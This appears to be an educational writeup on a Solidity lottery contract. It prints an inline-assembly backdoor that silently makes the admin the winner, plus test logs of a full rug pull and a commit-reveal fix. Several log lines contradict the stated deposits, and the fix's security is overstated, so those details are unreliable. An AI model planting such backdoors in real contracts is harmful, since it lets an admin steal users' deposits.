Hidden Assembly Backdoor Vulnerability V2
Overview
Inline assembly provides low-level EVM access, enabling direct storage manipulation via sload and sstore. Malicious actors exploit this to embed hidden backdoors that bypass Solidity's type safety and access controls.
This demonstration shows a deceptive lottery contract that appears fair but contains a hidden admin privilege. When the admin calls drawWinner(), assembly code secretly overrides the random selection—allowing the admin to always win without participating.
Vulnerability Mechanism
Storage Layout
Slot 0: participants[] (dynamic array pointer)
Slot 1: winner (address)
Slot 2: admin (address)
Slot 3: prizePool (uint256)
Backdoor Code
function drawWinner() external {
// Visible "fair" random selection
uint256 randomIndex = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, participants.length))
) % participants.length;
address selectedWinner = participants[randomIndex];
// Hidden backdoor via assembly
assembly {
if eq(caller(), sload(2)) { // If caller == admin (slot 2)
selectedWinner := caller() // Override with admin address
}
}
winner = selectedWinner;
}
Attack Flow
- Users join lottery, depositing 0.1 ETH each
- Admin calls
drawWinner()— assembly backdoor triggers selectedWinnersilently replaced with admin's address- Admin claims entire prize pool without participating
Demonstration
The test suite includes five scenarios:
- test_VulnerableBackdoorExploit: Admin wins despite not participating
- test_VulnerableNormalDraw: Non-admin caller gets legitimate random result
- test_SecureLotteryV2FairDraw: Secure contract with commit-reveal randomness
- test_StorageLayoutAnalysis: Direct storage slot inspection
- test_FullExploitScenario: Complete rug pull — admin drains all funds
Mitigation
Secure Implementation: Commit-Reveal
function initiateDraw() external {
drawBlock = block.number + 1; // Commit to future block
}
function finalizeWinner() external {
bytes32 blockHash = blockhash(drawBlock); // Reveal using future hash
uint256 randomIndex = uint256(
keccak256(abi.encodePacked(blockHash, participants.length))
) % participants.length;
winner = participants[randomIndex];
}
Best Practices
- Audit all assembly blocks — Treat as high-risk code
- Verify storage slot access — Ensure
sload/sstorealign with declarations - Use immutable for privileges — Prevent post-deployment modification
- Emit events for critical operations — Enable off-chain monitoring
- Implement commit-reveal — Prevent manipulation of randomness
Running the Test
Expected Output
Ran 5 tests for test/BackdoorAssemblyV2.t.sol:BackdoorAssemblyV2Test
[PASS] test_FullExploitScenario() (gas: 180530)
Logs:
=== Full Exploit: Admin Drains Prize Pool ===
Prize pool: 0.3 ETH from Alice, Bob, Charlie
Admin contributed: 0 ETH
Admin profit: 0 ETH
RUG PULL COMPLETE: Admin drained all user funds
[PASS] test_SecureLotteryV2FairDraw() (gas: 221618)
Logs:
=== Secure Lottery: Transparent Draw ===
Participants: Alice, Bob, Charlie
Prize pool: 0 ETH
Initiating draw (commit phase)...
Draw block: 2
Finalizing winner (reveal phase)...
Winner: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
Fair draw: Winner is verifiably random participant
[PASS] test_StorageLayoutAnalysis() (gas: 156798)
Logs:
=== Storage Layout Analysis ===
Before drawWinner:
Slot 1 (winner): 0x0000000000000000000000000000000000000000
Slot 2 (admin): 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
After admin calls drawWinner:
Slot 1 (winner): 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
[PASS] test_VulnerableBackdoorExploit() (gas: 197648)
Logs:
=== Vulnerable Lottery: Hidden Backdoor ===
Participants: Alice, Bob, Charlie
Prize pool: 0 ETH
Admin calls drawWinner()...
Code appears to select random participant
But assembly backdoor overrides result
Winner: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
Admin: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
EXPLOIT: Admin won without being a participant!
[PASS] test_VulnerableNormalDraw() (gas: 157885)
Logs:
=== Vulnerable Lottery: Normal User Draw ===
Participants: Alice, Bob
Winner: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
Normal draw: Winner is a legitimate participant
Suite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.01ms (825.11µs CPU time)
Comparison
| Feature | VulnerableLotteryV2 | SecureLotteryV2 |
|---|---|---|
| Randomness | Current block (predictable) | Future block hash |
| Admin Privilege | Hidden backdoor override | None |
| Auditability | Assembly hides logic | Pure Solidity |
| Admin Declaration | address public | address public immutable |
| Draw Process | Single-step (manipulable) | Two-step commit-reveal |
Real-World Impact
Hidden assembly backdoors have enabled numerous rug pulls:
- Deceptive fairness: Contract appears legitimate during initial review
- Undetectable by users: Backdoor only visible in low-level code
- Complete fund drainage: Admin extracts all deposited assets
Trust assumption: Any contract with unexplained assembly should be considered high-risk until verified through comprehensive auditing.